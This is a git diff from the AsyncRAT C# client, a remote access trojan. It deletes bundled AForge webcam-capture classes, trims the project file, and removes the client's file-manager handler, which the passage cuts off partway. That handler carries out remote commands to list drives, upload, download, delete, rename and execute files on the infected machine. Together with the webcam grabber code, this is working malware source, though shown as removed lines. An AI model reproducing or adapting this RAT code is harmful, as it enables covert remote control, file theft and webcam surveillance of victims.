- // create source device's object
- try
- {
- tempSourceObject = FilterInfo.CreateFilter( deviceMoniker );
- }
- catch
- {
- throw new ApplicationException( "Failed creating device object for moniker." );
- }
-
- if ( !( tempSourceObject is IAMCameraControl ) )
- {
- throw new NotSupportedException( "The video source does not support camera control." );
- }
-
- IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject;
- int hr = pCamControl.Get( property, out value, out controlFlags );
-
- ret = ( hr >= 0 );
-
- Marshal.ReleaseComObject( tempSourceObject );
- }
-
- return ret;
- }
-
- ///
- /// Gets the range and default value of a specified camera property.
- ///
- ///
- /// Specifies the property to query.
- /// Receives the minimum value of the property.
- /// Receives the maximum value of the property.
- /// Receives the step size for the property.
- /// Receives the default value of the property.
- /// Receives a member of the enumeration, indicating whether the property is controlled automatically or manually.
- ///
- /// Returns true on sucee or false otherwise.
- ///
- /// Video source is not specified - device moniker is not set.
- /// Failed creating device object for moniker.
- /// The video source does not support camera control.
- ///
- public bool GetCameraPropertyRange( CameraControlProperty property, out int minValue, out int maxValue, out int stepSize, out int defaultValue, out CameraControlFlags controlFlags )
- {
- bool ret = true;
-
- // check if source was set
- if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) )
- {
- throw new ArgumentException( "Video source is not specified." );
- }
-
- lock ( sync )
- {
- object tempSourceObject = null;
-
- // create source device's object
- try
- {
- tempSourceObject = FilterInfo.CreateFilter( deviceMoniker );
- }
- catch
- {
- throw new ApplicationException( "Failed creating device object for moniker." );
- }
-
- if ( !( tempSourceObject is IAMCameraControl ) )
- {
- throw new NotSupportedException( "The video source does not support camera control." );
- }
-
- IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject;
- int hr = pCamControl.GetRange( property, out minValue, out maxValue, out stepSize, out defaultValue, out controlFlags );
-
- ret = ( hr >= 0 );
-
- Marshal.ReleaseComObject( tempSourceObject );
- }
-
- return ret;
- }
-
- ///
- /// Worker thread.
- ///
- ///
- private void WorkerThread( )
- {
- WorkerThread( true );
- }
-
- private void WorkerThread( bool runGraph )
- {
- ReasonToFinishPlaying reasonToStop = ReasonToFinishPlaying.StoppedByUser;
- bool isSapshotSupported = false;
-
- // grabber
- Grabber videoGrabber = new Grabber( this, false );
- Grabber snapshotGrabber = new Grabber( this, true );
-
- // objects
- object captureGraphObject = null;
- object graphObject = null;
- object videoGrabberObject = null;
- object snapshotGrabberObject = null;
- object crossbarObject = null;
-
- // interfaces
- ICaptureGraphBuilder2 captureGraph = null;
- IFilterGraph2 graph = null;
- IBaseFilter sourceBase = null;
- IBaseFilter videoGrabberBase = null;
- IBaseFilter snapshotGrabberBase = null;
- ISampleGrabber videoSampleGrabber = null;
- ISampleGrabber snapshotSampleGrabber = null;
- IMediaControl mediaControl = null;
- IAMVideoControl videoControl = null;
- IMediaEventEx mediaEvent = null;
- IPin pinStillImage = null;
- IAMCrossbar crossbar = null;
-
- try
- {
- // get type of capture graph builder
- Type type = Type.GetTypeFromCLSID( Clsid.CaptureGraphBuilder2 );
- if ( type == null )
- throw new ApplicationException( "Failed creating capture graph builder" );
-
- // create capture graph builder
- captureGraphObject = Activator.CreateInstance( type );
- captureGraph = (ICaptureGraphBuilder2) captureGraphObject;
-
- // get type of filter graph
- type = Type.GetTypeFromCLSID( Clsid.FilterGraph );
- if ( type == null )
- throw new ApplicationException( "Failed creating filter graph" );
-
- // create filter graph
- graphObject = Activator.CreateInstance( type );
- graph = (IFilterGraph2) graphObject;
-
- // set filter graph to the capture graph builder
- captureGraph.SetFiltergraph( (IGraphBuilder) graph );
-
- // create source device's object
- sourceObject = FilterInfo.CreateFilter( deviceMoniker );
- if ( sourceObject == null )
- throw new ApplicationException( "Failed creating device object for moniker" );
-
- // get base filter interface of source device
- sourceBase = (IBaseFilter) sourceObject;
-
- // get video control interface of the device
- try
- {
- videoControl = (IAMVideoControl) sourceObject;
- }
- catch
- {
- // some camera drivers may not support IAMVideoControl interface
- }
-
- // get type of sample grabber
- type = Type.GetTypeFromCLSID( Clsid.SampleGrabber );
- if ( type == null )
- throw new ApplicationException( "Failed creating sample grabber" );
-
- // create sample grabber used for video capture
- videoGrabberObject = Activator.CreateInstance( type );
- videoSampleGrabber = (ISampleGrabber) videoGrabberObject;
- videoGrabberBase = (IBaseFilter) videoGrabberObject;
- // create sample grabber used for snapshot capture
- snapshotGrabberObject = Activator.CreateInstance( type );
- snapshotSampleGrabber = (ISampleGrabber) snapshotGrabberObject;
- snapshotGrabberBase = (IBaseFilter) snapshotGrabberObject;
-
- // add source and grabber filters to graph
- graph.AddFilter( sourceBase, "source" );
- graph.AddFilter( videoGrabberBase, "grabber_video" );
- graph.AddFilter( snapshotGrabberBase, "grabber_snapshot" );
-
- // set media type
- AMMediaType mediaType = new AMMediaType( );
- mediaType.MajorType = MediaType.Video;
- mediaType.SubType = MediaSubType.RGB24;
-
- videoSampleGrabber.SetMediaType( mediaType );
- snapshotSampleGrabber.SetMediaType( mediaType );
-
- // get crossbar object to to allows configuring pins of capture card
- captureGraph.FindInterface( FindDirection.UpstreamOnly, Guid.Empty, sourceBase, typeof( IAMCrossbar ).GUID, out crossbarObject );
- if ( crossbarObject != null )
- {
- crossbar = (IAMCrossbar) crossbarObject;
- }
- isCrossbarAvailable = ( crossbar != null );
- crossbarVideoInputs = ColletCrossbarVideoInputs( crossbar );
-
- if ( videoControl != null )
- {
- // find Still Image output pin of the vedio device
- captureGraph.FindPin( sourceObject, PinDirection.Output,
- PinCategory.StillImage, MediaType.Video, false, 0, out pinStillImage );
- // check if it support trigger mode
- if ( pinStillImage != null )
- {
- VideoControlFlags caps;
- videoControl.GetCaps( pinStillImage, out caps );
- isSapshotSupported = ( ( caps & VideoControlFlags.ExternalTriggerEnable ) != 0 );
- }
- }
-
- // configure video sample grabber
- videoSampleGrabber.SetBufferSamples( false );
- videoSampleGrabber.SetOneShot( false );
- videoSampleGrabber.SetCallback( videoGrabber, 1 );
-
- // configure snapshot sample grabber
- snapshotSampleGrabber.SetBufferSamples( true );
- snapshotSampleGrabber.SetOneShot( false );
- snapshotSampleGrabber.SetCallback( snapshotGrabber, 1 );
-
- // configure pins
- GetPinCapabilitiesAndConfigureSizeAndRate( captureGraph, sourceBase,
- PinCategory.Capture, videoResolution, ref videoCapabilities );
- if ( isSapshotSupported )
- {
- GetPinCapabilitiesAndConfigureSizeAndRate( captureGraph, sourceBase,
- PinCategory.StillImage, snapshotResolution, ref snapshotCapabilities );
- }
- else
- {
- snapshotCapabilities = new VideoCapabilities[0];
- }
-
- // put video/snapshot capabilities into cache
- lock ( cacheVideoCapabilities )
- {
- if ( ( videoCapabilities != null ) && ( !cacheVideoCapabilities.ContainsKey( deviceMoniker ) ) )
- {
- cacheVideoCapabilities.Add( deviceMoniker, videoCapabilities );
- }
- }
- lock ( cacheSnapshotCapabilities )
- {
- if ( ( snapshotCapabilities != null ) && ( !cacheSnapshotCapabilities.ContainsKey( deviceMoniker ) ) )
- {
- cacheSnapshotCapabilities.Add( deviceMoniker, snapshotCapabilities );
- }
- }
-
- if ( runGraph )
- {
- // render capture pin
- captureGraph.RenderStream( PinCategory.Capture, MediaType.Video, sourceBase, null, videoGrabberBase );
-
- if ( videoSampleGrabber.GetConnectedMediaType( mediaType ) == 0 )
- {
- VideoInfoHeader vih = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) );
-
- videoGrabber.Width = vih.BmiHeader.Width;
- videoGrabber.Height = vih.BmiHeader.Height;
-
- mediaType.Dispose( );
- }
-
- if ( ( isSapshotSupported ) && ( provideSnapshots ) )
- {
- // render snapshot pin
- captureGraph.RenderStream( PinCategory.StillImage, MediaType.Video, sourceBase, null, snapshotGrabberBase );
-
- if ( snapshotSampleGrabber.GetConnectedMediaType( mediaType ) == 0 )
- {
- VideoInfoHeader vih = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) );
-
- snapshotGrabber.Width = vih.BmiHeader.Width;
- snapshotGrabber.Height = vih.BmiHeader.Height;
-
- mediaType.Dispose( );
- }
- }
-
- // get media control
- mediaControl = (IMediaControl) graphObject;
-
- // get media events' interface
- mediaEvent = (IMediaEventEx) graphObject;
- IntPtr p1, p2;
- DsEvCode code;
-
- // run
- mediaControl.Run( );
-
- if ( ( isSapshotSupported ) && ( provideSnapshots ) )
- {
- startTime = DateTime.Now;
- videoControl.SetMode( pinStillImage, VideoControlFlags.ExternalTriggerEnable );
- }
-
- do
- {
- if ( mediaEvent != null )
- {
- if ( mediaEvent.GetEvent( out code, out p1, out p2, 0 ) >= 0 )
- {
- mediaEvent.FreeEventParams( code, p1, p2 );
-
- if ( code == DsEvCode.DeviceLost )
- {
- reasonToStop = ReasonToFinishPlaying.DeviceLost;
- break;
- }
- }
- }
-
- if ( needToSetVideoInput )
- {
- needToSetVideoInput = false;
- // set/check current input type of a video card (frame grabber)
- if ( isCrossbarAvailable.Value )
- {
- SetCurrentCrossbarInput( crossbar, crossbarVideoInput );
- crossbarVideoInput = GetCurrentCrossbarInput( crossbar );
- }
- }
-
- if ( needToSimulateTrigger )
- {
- needToSimulateTrigger = false;
-
- if ( ( isSapshotSupported ) && ( provideSnapshots ) )
- {
- videoControl.SetMode( pinStillImage, VideoControlFlags.Trigger );
- }
- }
-
- if ( needToDisplayPropertyPage )
- {
- needToDisplayPropertyPage = false;
- DisplayPropertyPage( parentWindowForPropertyPage, sourceObject );
-
- if ( crossbar != null )
- {
- crossbarVideoInput = GetCurrentCrossbarInput( crossbar );
- }
- }
-
- if ( needToDisplayCrossBarPropertyPage )
- {
- needToDisplayCrossBarPropertyPage = false;
-
- if ( crossbar != null )
- {
- DisplayPropertyPage( parentWindowForPropertyPage, crossbar );
- crossbarVideoInput = GetCurrentCrossbarInput( crossbar );
- }
- }
- }
- while ( !stopEvent.WaitOne( 100, false ) );
-
- mediaControl.Stop( );
- }
- }
- catch ( Exception exception )
- {
- // provide information to clients
- if ( VideoSourceError != null )
- {
- VideoSourceError( this, new VideoSourceErrorEventArgs( exception.Message ) );
- }
- }
- finally
- {
- // release all objects
- captureGraph = null;
- graph = null;
- sourceBase = null;
- mediaControl = null;
- videoControl = null;
- mediaEvent = null;
- pinStillImage = null;
- crossbar = null;
-
- videoGrabberBase = null;
- snapshotGrabberBase = null;
- videoSampleGrabber = null;
- snapshotSampleGrabber = null;
-
- if ( graphObject != null )
- {
- Marshal.ReleaseComObject( graphObject );
- graphObject = null;
- }
- if ( sourceObject != null )
- {
- Marshal.ReleaseComObject( sourceObject );
- sourceObject = null;
- }
- if ( videoGrabberObject != null )
- {
- Marshal.ReleaseComObject( videoGrabberObject );
- videoGrabberObject = null;
- }
- if ( snapshotGrabberObject != null )
- {
- Marshal.ReleaseComObject( snapshotGrabberObject );
- snapshotGrabberObject = null;
- }
- if ( captureGraphObject != null )
- {
- Marshal.ReleaseComObject( captureGraphObject );
- captureGraphObject = null;
- }
- if ( crossbarObject != null )
- {
- Marshal.ReleaseComObject( crossbarObject );
- crossbarObject = null;
- }
- }
-
- if ( PlayingFinished != null )
- {
- PlayingFinished( this, reasonToStop );
- }
- }
-
- // Set resolution for the specified stream configuration
- private void SetResolution( IAMStreamConfig streamConfig, VideoCapabilities resolution )
- {
- if ( resolution == null )
- {
- return;
- }
-
- // iterate through device's capabilities to find mediaType for desired resolution
- int capabilitiesCount = 0, capabilitySize = 0;
- AMMediaType newMediaType = null;
- VideoStreamConfigCaps caps = new VideoStreamConfigCaps( );
-
- streamConfig.GetNumberOfCapabilities( out capabilitiesCount, out capabilitySize );
-
- for ( int i = 0; i < capabilitiesCount; i++ )
- {
- try
- {
- VideoCapabilities vc = new VideoCapabilities( streamConfig, i );
-
- if ( resolution == vc )
- {
- if ( streamConfig.GetStreamCaps( i, out newMediaType, caps ) == 0 )
- {
- break;
- }
- }
- }
- catch
- {
- }
- }
-
- // set the new format
- if ( newMediaType != null )
- {
- streamConfig.SetFormat( newMediaType );
- newMediaType.Dispose( );
- }
- }
-
- // Configure specified pin and collect its capabilities if required
- private void GetPinCapabilitiesAndConfigureSizeAndRate( ICaptureGraphBuilder2 graphBuilder, IBaseFilter baseFilter,
- Guid pinCategory, VideoCapabilities resolutionToSet, ref VideoCapabilities[] capabilities )
- {
- object streamConfigObject;
- graphBuilder.FindInterface( pinCategory, MediaType.Video, baseFilter, typeof( IAMStreamConfig ).GUID, out streamConfigObject );
-
- if ( streamConfigObject != null )
- {
- IAMStreamConfig streamConfig = null;
-
- try
- {
- streamConfig = (IAMStreamConfig) streamConfigObject;
- }
- catch ( InvalidCastException )
- {
- }
-
- if ( streamConfig != null )
- {
- if ( capabilities == null )
- {
- try
- {
- // get all video capabilities
- capabilities = AForge.Video.DirectShow.VideoCapabilities.FromStreamConfig( streamConfig );
- }
- catch
- {
- }
- }
-
- // check if it is required to change capture settings
- if ( resolutionToSet != null )
- {
- SetResolution( streamConfig, resolutionToSet );
- }
- }
- }
-
- // if failed resolving capabilities, then just create empty capabilities array,
- // so we don't try again
- if ( capabilities == null )
- {
- capabilities = new VideoCapabilities[0];
- }
- }
-
- // Display property page for the specified object
- private void DisplayPropertyPage( IntPtr parentWindow, object sourceObject )
- {
- try
- {
- // retrieve ISpecifyPropertyPages interface of the device
- ISpecifyPropertyPages pPropPages = (ISpecifyPropertyPages) sourceObject;
-
- // get property pages from the property bag
- CAUUID caGUID;
- pPropPages.GetPages( out caGUID );
-
- // get filter info
- FilterInfo filterInfo = new FilterInfo( deviceMoniker );
-
- // create and display the OlePropertyFrame
- Win32.OleCreatePropertyFrame( parentWindow, 0, 0, filterInfo.Name, 1, ref sourceObject, caGUID.cElems, caGUID.pElems, 0, 0, IntPtr.Zero );
-
- // release COM objects
- Marshal.FreeCoTaskMem( caGUID.pElems );
- }
- catch
- {
- }
- }
-
- // Collect all video inputs of the specified crossbar
- private VideoInput[] ColletCrossbarVideoInputs( IAMCrossbar crossbar )
- {
- lock ( cacheCrossbarVideoInputs )
- {
- if ( cacheCrossbarVideoInputs.ContainsKey( deviceMoniker ) )
- {
- return cacheCrossbarVideoInputs[deviceMoniker];
- }
-
- List videoInputsList = new List( );
-
- if ( crossbar != null )
- {
- int inPinsCount, outPinsCount;
-
- // gen number of pins in the crossbar
- if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 )
- {
- // collect all video inputs
- for ( int i = 0; i < inPinsCount; i++ )
- {
- int pinIndexRelated;
- PhysicalConnectorType type;
-
- if ( crossbar.get_CrossbarPinInfo( true, i, out pinIndexRelated, out type ) != 0 )
- continue;
-
- if ( type < PhysicalConnectorType.AudioTuner )
- {
- videoInputsList.Add( new VideoInput( i, type ) );
- }
- }
- }
- }
-
- VideoInput[] videoInputs = new VideoInput[videoInputsList.Count];
- videoInputsList.CopyTo( videoInputs );
-
- cacheCrossbarVideoInputs.Add( deviceMoniker, videoInputs );
-
- return videoInputs;
- }
- }
-
- // Get type of input connected to video output of the crossbar
- private VideoInput GetCurrentCrossbarInput( IAMCrossbar crossbar )
- {
- VideoInput videoInput = VideoInput.Default;
-
- int inPinsCount, outPinsCount;
-
- // gen number of pins in the crossbar
- if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 )
- {
- int videoOutputPinIndex = -1;
- int pinIndexRelated;
- PhysicalConnectorType type;
-
- // find index of the video output pin
- for ( int i = 0; i < outPinsCount; i++ )
- {
- if ( crossbar.get_CrossbarPinInfo( false, i, out pinIndexRelated, out type ) != 0 )
- continue;
-
- if ( type == PhysicalConnectorType.VideoDecoder )
- {
- videoOutputPinIndex = i;
- break;
- }
- }
-
- if ( videoOutputPinIndex != -1 )
- {
- int videoInputPinIndex;
-
- // get index of the input pin connected to the output
- if ( crossbar.get_IsRoutedTo( videoOutputPinIndex, out videoInputPinIndex ) == 0 )
- {
- PhysicalConnectorType inputType;
-
- crossbar.get_CrossbarPinInfo( true, videoInputPinIndex, out pinIndexRelated, out inputType );
-
- videoInput = new VideoInput( videoInputPinIndex, inputType );
- }
- }
- }
-
- return videoInput;
- }
-
- // Set type of input connected to video output of the crossbar
- private void SetCurrentCrossbarInput( IAMCrossbar crossbar, VideoInput videoInput )
- {
- if ( videoInput.Type != PhysicalConnectorType.Default )
- {
- int inPinsCount, outPinsCount;
-
- // gen number of pins in the crossbar
- if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 )
- {
- int videoOutputPinIndex = -1;
- int videoInputPinIndex = -1;
- int pinIndexRelated;
- PhysicalConnectorType type;
-
- // find index of the video output pin
- for ( int i = 0; i < outPinsCount; i++ )
- {
- if ( crossbar.get_CrossbarPinInfo( false, i, out pinIndexRelated, out type ) != 0 )
- continue;
-
- if ( type == PhysicalConnectorType.VideoDecoder )
- {
- videoOutputPinIndex = i;
- break;
- }
- }
-
- // find index of the required input pin
- for ( int i = 0; i < inPinsCount; i++ )
- {
- if ( crossbar.get_CrossbarPinInfo( true, i, out pinIndexRelated, out type ) != 0 )
- continue;
-
- if ( ( type == videoInput.Type ) && ( i == videoInput.Index ) )
- {
- videoInputPinIndex = i;
- break;
- }
- }
-
- // try connecting pins
- if ( ( videoInputPinIndex != -1 ) && ( videoOutputPinIndex != -1 ) &&
- ( crossbar.CanRoute( videoOutputPinIndex, videoInputPinIndex ) == 0 ) )
- {
- crossbar.Route( videoOutputPinIndex, videoInputPinIndex );
- }
- }
- }
- }
-
- ///
- /// Notifies clients about new frame.
- ///
- ///
- /// New frame's image.
- ///
- private void OnNewFrame( Bitmap image )
- {
- framesReceived++;
- bytesReceived += image.Width * image.Height * ( Bitmap.GetPixelFormatSize( image.PixelFormat ) >> 3 );
-
- if ( ( !stopEvent.WaitOne( 0, false ) ) && ( NewFrame != null ) )
- NewFrame( this, new NewFrameEventArgs( image ) );
- }
-
- ///
- /// Notifies clients about new snapshot frame.
- ///
- ///
- /// New snapshot's image.
- ///
- private void OnSnapshotFrame( Bitmap image )
- {
- TimeSpan timeSinceStarted = DateTime.Now - startTime;
-
- // TODO: need to find better way to ignore the first snapshot, which is sent
- // automatically (or better disable it)
- if ( timeSinceStarted.TotalSeconds >= 4 )
- {
- if ( ( !stopEvent.WaitOne( 0, false ) ) && ( SnapshotFrame != null ) )
- SnapshotFrame( this, new NewFrameEventArgs( image ) );
- }
- }
-
- //
- // Video grabber
- //
- private class Grabber : ISampleGrabberCB
- {
- private VideoCaptureDevice parent;
- private bool snapshotMode;
- private int width, height;
-
- // Width property
- public int Width
- {
- get { return width; }
- set { width = value; }
- }
- // Height property
- public int Height
- {
- get { return height; }
- set { height = value; }
- }
-
- // Constructor
- public Grabber( VideoCaptureDevice parent, bool snapshotMode )
- {
- this.parent = parent;
- this.snapshotMode = snapshotMode;
- }
-
- // Callback to receive samples
- public int SampleCB( double sampleTime, IntPtr sample )
- {
- return 0;
- }
-
- // Callback method that receives a pointer to the sample buffer
- public int BufferCB( double sampleTime, IntPtr buffer, int bufferLen )
- {
- if ( parent.NewFrame != null )
- {
- // create new image
- System.Drawing.Bitmap image = new Bitmap( width, height, PixelFormat.Format24bppRgb );
-
- // lock bitmap data
- BitmapData imageData = image.LockBits(
- new Rectangle( 0, 0, width, height ),
- ImageLockMode.ReadWrite,
- PixelFormat.Format24bppRgb );
-
- // copy image data
- int srcStride = imageData.Stride;
- int dstStride = imageData.Stride;
-
- unsafe
- {
- byte* dst = (byte*) imageData.Scan0.ToPointer( ) + dstStride * ( height - 1 );
- byte* src = (byte*) buffer.ToPointer( );
-
- for ( int y = 0; y < height; y++ )
- {
- Win32.memcpy( dst, src, srcStride );
- dst -= dstStride;
- src += srcStride;
- }
- }
-
- // unlock bitmap data
- image.UnlockBits( imageData );
-
- // notify parent
- if ( snapshotMode )
- {
- parent.OnSnapshotFrame( image );
- }
- else
- {
- parent.OnNewFrame( image );
- }
-
- // release the image
- image.Dispose( );
- }
-
- return 0;
- }
- }
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs
deleted file mode 100644
index d88b64d..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs
+++ /dev/null
@@ -1,47 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-// http://www.aforgenet.com/framework/
-//
-// Copyright © AForge.NET, 2009-2012
-// contacts@aforgenet.com
-//
-
-namespace AForge.Video.DirectShow
-{
- using System;
-
- ///
- /// Video input of a capture board.
- ///
- ///
- /// The class is used to describe video input of devices like video capture boards,
- /// which usually provide several inputs.
- ///
- ///
- public class VideoInput
- {
- ///
- /// Index of the video input.
- ///
- public readonly int Index;
-
- ///
- /// Type of the video input.
- ///
- public readonly PhysicalConnectorType Type;
-
- internal VideoInput( int index, PhysicalConnectorType type )
- {
- Index = index;
- Type = type;
- }
-
- ///
- /// Default video input. Used to specify that it should not be changed.
- ///
- public static VideoInput Default
- {
- get { return new VideoInput( -1, PhysicalConnectorType.Default ); }
- }
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs b/AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs
deleted file mode 100644
index d6ae3e5..0000000
--- a/AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs
+++ /dev/null
@@ -1,126 +0,0 @@
-// AForge Video Library
-// AForge.NET framework
-// http://www.aforgenet.com/framework/
-//
-// Copyright © Andrew Kirillov, 2005-2009
-// andrew.kirillov@aforgenet.com
-//
-
-namespace AForge.Video
-{
- using System;
-
- ///
- /// Video source interface.
- ///
- ///
- /// The interface describes common methods for different type of video sources.
- ///
- public interface IVideoSource
- {
- ///
- /// New frame event.
- ///
- ///
- /// This event is used to notify clients about new available video frame.
- ///
- /// Since video source may have multiple clients, each client is responsible for
- /// making a copy (cloning) of the passed video frame, but video source is responsible for
- /// disposing its own original copy after notifying of clients.
- ///
- ///
- event NewFrameEventHandler NewFrame;
-
- ///
- /// Video source error event.
- ///
- ///
- /// This event is used to notify clients about any type of errors occurred in
- /// video source object, for example internal exceptions.
- ///
- event VideoSourceErrorEventHandler VideoSourceError;
-
- ///
- /// Video playing finished event.
- ///
- ///
- /// This event is used to notify clients that the video playing has finished.
- ///
- ///
- event PlayingFinishedEventHandler PlayingFinished;
-
- ///
- /// Video source.
- ///
- ///
- /// The meaning of the property depends on particular video source.
- /// Depending on video source it may be a file name, URL or any other string
- /// describing the video source.
- ///
- string Source { get; }
-
- ///
- /// Received frames count.
- ///
- ///
- /// Number of frames the video source provided from the moment of the last
- /// access to the property.
- ///
- ///
- int FramesReceived { get; }
-
- ///
- /// Received bytes count.
- ///
- ///
- /// Number of bytes the video source provided from the moment of the last
- /// access to the property.
- ///
- ///
- long BytesReceived { get; }
-
- ///
- /// State of the video source.
- ///
- ///
- /// Current state of video source object - running or not.
- ///
- bool IsRunning { get; }
-
- ///
- /// Start video source.
- ///
- ///
- /// Starts video source and return execution to caller. Video source
- /// object creates background thread and notifies about new frames with the
- /// help of event.
- ///
- void Start( );
-
- ///
- /// Signal video source to stop its work.
- ///
- ///
- /// Signals video source to stop its background thread, stop to
- /// provide new frames and free resources.
- ///
- void SignalToStop( );
-
- ///
- /// Wait for video source has stopped.
- ///
- ///
- /// Waits for video source stopping after it was signalled to stop using
- /// method.
- ///
- void WaitForStop( );
-
- ///
- /// Stop video source.
- ///
- ///
- /// Stops video source aborting its thread.
- ///
- void Stop( );
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs b/AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs
deleted file mode 100644
index c5729e5..0000000
--- a/AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs
+++ /dev/null
@@ -1,125 +0,0 @@
-// AForge Video Library
-// AForge.NET framework
-// http://www.aforgenet.com/framework/
-//
-// Copyright © AForge.NET, 2009-2011
-// contacts@aforgenet.com
-//
-
-namespace AForge.Video
-{
- using System;
-
- ///
- /// Delegate for new frame event handler.
- ///
- ///
- /// Sender object.
- /// Event arguments.
- ///
- public delegate void NewFrameEventHandler( object sender, NewFrameEventArgs eventArgs );
-
- ///
- /// Delegate for video source error event handler.
- ///
- ///
- /// Sender object.
- /// Event arguments.
- ///
- public delegate void VideoSourceErrorEventHandler( object sender, VideoSourceErrorEventArgs eventArgs );
-
- ///
- /// Delegate for playing finished event handler.
- ///
- ///
- /// Sender object.
- /// Reason of finishing video playing.
- ///
- public delegate void PlayingFinishedEventHandler( object sender, ReasonToFinishPlaying reason );
-
- ///
- /// Reason of finishing video playing.
- ///
- ///
- /// When video source class fire the event, they
- /// need to specify reason of finishing video playing. For example, it may be end of stream reached.
- ///
- public enum ReasonToFinishPlaying
- {
- ///
- /// Video playing has finished because it end was reached.
- ///
- EndOfStreamReached,
- ///
- /// Video playing has finished because it was stopped by user.
- ///
- StoppedByUser,
- ///
- /// Video playing has finished because the device was lost (unplugged).
- ///
- DeviceLost,
- ///
- /// Video playing has finished because of some error happened the video source (camera, stream, file, etc.).
- /// A error reporting event usually is fired to provide error information.
- ///
- VideoSourceError
- }
-
- ///
- /// Arguments for new frame event from video source.
- ///
- ///
- public class NewFrameEventArgs : EventArgs
- {
- private System.Drawing.Bitmap frame;
-
- ///
- /// Initializes a new instance of the class.
- ///
- ///
- /// New frame.
- ///
- public NewFrameEventArgs( System.Drawing.Bitmap frame )
- {
- this.frame = frame;
- }
-
- ///
- /// New frame from video source.
- ///
- ///
- public System.Drawing.Bitmap Frame
- {
- get { return frame; }
- }
- }
-
- ///
- /// Arguments for video source error event from video source.
- ///
- ///
- public class VideoSourceErrorEventArgs : EventArgs
- {
- private string description;
-
- ///
- /// Initializes a new instance of the class.
- ///
- ///
- /// Error description.
- ///
- public VideoSourceErrorEventArgs( string description )
- {
- this.description = description;
- }
-
- ///
- /// Video source error description.
- ///
- ///
- public string Description
- {
- get { return description; }
- }
- }
-}
diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj
index 0afea06..c09d965 100644
--- a/AsyncRAT-C#/Client/Client.csproj
+++ b/AsyncRAT-C#/Client/Client.csproj
@@ -72,70 +72,28 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
- Form
-
-
- FormChat.cs
-
+
@@ -149,13 +107,6 @@
-
-
-
-
-
-
-
@@ -167,10 +118,5 @@
false
-
-
- FormChat.cs
-
-
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs
deleted file mode 100644
index 4476f9b..0000000
--- a/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs
+++ /dev/null
@@ -1,310 +0,0 @@
-using Client.MessagePack;
-using Client.Connection;
-using System;
-using System.Collections.Generic;
-using System.Drawing;
-using System.Drawing.Imaging;
-using System.IO;
-using System.Linq;
-using System.Text;
-using System.Diagnostics;
-using System.Net.Sockets;
-using System.Security.Authentication;
-using System.Net.Security;
-using System.Security.Cryptography.X509Certificates;
-using System.Threading;
-
-namespace Client.Handle_Packet
-{
- public class FileManager
- {
- public FileManager(MsgPack unpack_msgpack)
- {
- try
- {
- switch (unpack_msgpack.ForcePathObject("Command").AsString)
- {
- case "getDrivers":
- {
- GetDrivers();
- break;
- }
-
- case "getPath":
- {
- GetPath(unpack_msgpack.ForcePathObject("Path").AsString);
- break;
- }
-
- case "uploadFile":
- {
- string fullPath = unpack_msgpack.ForcePathObject("Name").AsString;
- if (File.Exists(fullPath))
- {
- File.Delete(fullPath);
- Thread.Sleep(500);
- }
- unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
- break;
- }
-
- case "reqUploadFile":
- {
- ReqUpload(unpack_msgpack.ForcePathObject("ID").AsString); ;
- break;
- }
-
- case "socketDownload":
- {
- DownnloadFile(unpack_msgpack.ForcePathObject("File").AsString, unpack_msgpack.ForcePathObject("DWID").AsString);
- break;
- }
-
- case "deleteFile":
- {
- string fullPath = unpack_msgpack.ForcePathObject("File").AsString;
- File.Delete(fullPath);
- break;
- }
-
- case "execute":
- {
- string fullPath = unpack_msgpack.ForcePathObject("File").AsString;
- Process.Start(fullPath);
- break;
- }
-
- case "createFolder":
- {
- string fullPath = unpack_msgpack.ForcePathObject("Folder").AsString;
- if (!Directory.Exists(fullPath)) Directory.CreateDirectory(fullPath);
- break;
- }
-
- case "deleteFolder":
- {
- string fullPath = unpack_msgpack.ForcePathObject("Folder").AsString;
- if (Directory.Exists(fullPath)) Directory.Delete(fullPath);
- break;
- }
-
- case "copyFile":
- {
- Packet.FileCopy = unpack_msgpack.ForcePathObject("File").AsString;
- break;
- }
-
- case "pasteFile":
- {
- string fullPath = unpack_msgpack.ForcePathObject("File").AsString;
- if (fullPath.Length > 0)
- {
- string[] filesArray = Packet.FileCopy.Split(new[] { "-=>" }, StringSplitOptions.None);
- for (int i = 0; i < filesArray.Length; i++)
- {
- try
- {
- if (filesArray[i].Length > 0)
- {
- File.Copy(filesArray[i], Path.Combine(fullPath, Path.GetFileName(filesArray[i])), true);
- }
- }
- catch (Exception ex)
- {
- Error(ex.Message);
- }
- }
- Packet.FileCopy = null;
- }
- break;
- }
-
- case "renameFile":
- {
- File.Move(unpack_msgpack.ForcePathObject("File").AsString, unpack_msgpack.ForcePathObject("NewName").AsString);
- break;
- }
-
- case "renameFolder":
- {
- Directory.Move(unpack_msgpack.ForcePathObject("Folder").AsString, unpack_msgpack.ForcePathObject("NewName").AsString);
- break; ;
- }
- }
-
- }
- catch (Exception ex)
- {
- Debug.WriteLine(ex.Message);
- Error(ex.Message);
